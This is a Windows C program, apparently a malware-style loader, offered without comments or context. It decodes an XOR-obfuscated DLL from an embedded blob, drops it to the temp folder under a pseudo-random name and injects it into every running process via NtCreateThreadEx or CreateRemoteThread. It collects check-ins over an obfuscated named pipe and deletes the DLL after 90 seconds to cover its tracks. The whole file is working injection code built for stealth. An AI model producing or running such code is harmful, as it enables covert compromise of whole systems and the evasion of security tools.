#include <windows.h>
#include <tlhelp32.h>
#include "party_blob.h"

typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFN_NtCreateThreadEx)(
    HANDLE*, ACCESS_MASK, void*, HANDLE,
    LPTHREAD_START_ROUTINE, void*, ULONG,
    SIZE_T, SIZE_T, SIZE_T, void*);

static PFN_NtCreateThreadEx g_NtCTE = NULL;
static FARPROC g_loadlib = NULL;

static BOOL inject_nte(DWORD pid, const WCHAR *dll_path) {
    HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hp) return FALSE;
    SIZE_T path_bytes = (wcslen(dll_path)+1)*2;
    LPVOID remote = VirtualAllocEx(hp, NULL, path_bytes+16, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!remote) { CloseHandle(hp); return FALSE; }
    SIZE_T written = 0;
    WriteProcessMemory(hp, remote, dll_path, path_bytes, &written);
    HANDLE hthread = NULL;
    NTSTATUS st = 0;
    if (g_NtCTE) {
        st = g_NtCTE(&hthread, THREAD_ALL_ACCESS, NULL, hp,
                      (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, 0, 0, 0, NULL);
    } else {
        DWORD tid = 0;
        hthread = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, &tid);
        st = hthread ? 0 : -1;
    }
    BOOL ok = (st == 0 && hthread && hthread != INVALID_HANDLE_VALUE);
    if (ok) CloseHandle(hthread);
    CloseHandle(hp);
    return ok;
}

static BOOL drop_dll(WCHAR *out_path) {
    WCHAR tmp[MAX_PATH];
    GetTempPathW(MAX_PATH, tmp);
    SYSTEMTIME st; GetSystemTime(&st);
    wsprintfW(out_path, L"%s%04x%04x%04x.dll",
              tmp, st.wMilliseconds^0xAB3F,
              (st.wSecond<<8)|st.wMinute,
              GetCurrentProcessId()^0x1337);
    BYTE *buf = (BYTE*)VirtualAlloc(NULL, PARTY_DLL_SIZE, MEM_COMMIT, PAGE_READWRITE);
    if (!buf) return FALSE;
    for (size_t i = 0; i < PARTY_DLL_SIZE; i++)
        buf[i] = PARTY_DLL_DATA[i] ^ (BYTE)(i & 0xFF);
    HANDLE hf = CreateFileW(out_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hf == INVALID_HANDLE_VALUE) { VirtualFree(buf, 0, MEM_RELEASE); return FALSE; }
    DWORD w = 0;
    WriteFile(hf, buf, (DWORD)PARTY_DLL_SIZE, &w, NULL);
    CloseHandle(hf);
    VirtualFree(buf, 0, MEM_RELEASE);
    return (w == (DWORD)PARTY_DLL_SIZE);
}

typedef struct { DWORD pid; } PID_ENTRY;
static int enum_pids(PID_ENTRY *out, int max) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    PROCESSENTRY32W pe = { sizeof(pe) };
    int n = 0;
    if (Process32FirstW(snap, &pe)) do {
        if (pe.th32ProcessID > 8 && n < max) {
            out[n].pid = pe.th32ProcessID;
            n++;
        }
    } while (Process32NextW(snap, &pe));
    CloseHandle(snap);
    return n;
}

static volatile LONG g_done = 0;
static WCHAR g_pipe_name[64];

static DWORD WINAPI pipe_server(void *unused) {
    while (1) {
        HANDLE h = CreateNamedPipeW(g_pipe_name,
            PIPE_ACCESS_INBOUND,
            PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
            255, 64, 64, 0, NULL);
        if (h == INVALID_HANDLE_VALUE) { Sleep(10); continue; }
        ConnectNamedPipe(h, NULL);
        DWORD pid=0, r=0;
        ReadFile(h, &pid, 4, &r, NULL);
        if (r == 4) InterlockedIncrement(&g_done);
        CloseHandle(h);
    }
}

static void build_pipe_name(WCHAR *out) {
    const WCHAR prefix[] = L"\\\\.\\pipe\\";
    const BYTE enc[] = {0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
    wcscpy(out, prefix);
    WCHAR *p = out + wcslen(prefix);
    for (int i=0; i<10; i++) p[i] = (WCHAR)(enc[i]^0x11);
    p[10] = 0;
}

int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR cmd, int show) {
    HMODULE hk32   = GetModuleHandleW(L"kernel32.dll");
    HMODULE hntdll = LoadLibraryW(L"ntdll.dll");
    g_loadlib = GetProcAddress(hk32, "LoadLibraryW");
    if (hntdll)
        g_NtCTE = (PFN_NtCreateThreadEx)GetProcAddress(hntdll, "NtCreateThreadEx");

    WCHAR dll_path[MAX_PATH];
    if (!drop_dll(dll_path)) return 1;

    build_pipe_name(g_pipe_name);
    CreateThread(NULL, 0, pipe_server, NULL, 0, NULL);

    PID_ENTRY *pids = (PID_ENTRY*)VirtualAlloc(NULL, 4096*sizeof(PID_ENTRY), MEM_COMMIT, PAGE_READWRITE);
    int n = enum_pids(pids, 4096);
    DWORD my_pid = GetCurrentProcessId();

    for (int i = 0; i < n; i++) {
        if (pids[i].pid != my_pid)
            inject_nte(pids[i].pid, dll_path);
    }
    VirtualFree(pids, 0, MEM_RELEASE);

    Sleep(90000);
    DeleteFileW(dll_path);
    return 0;
}
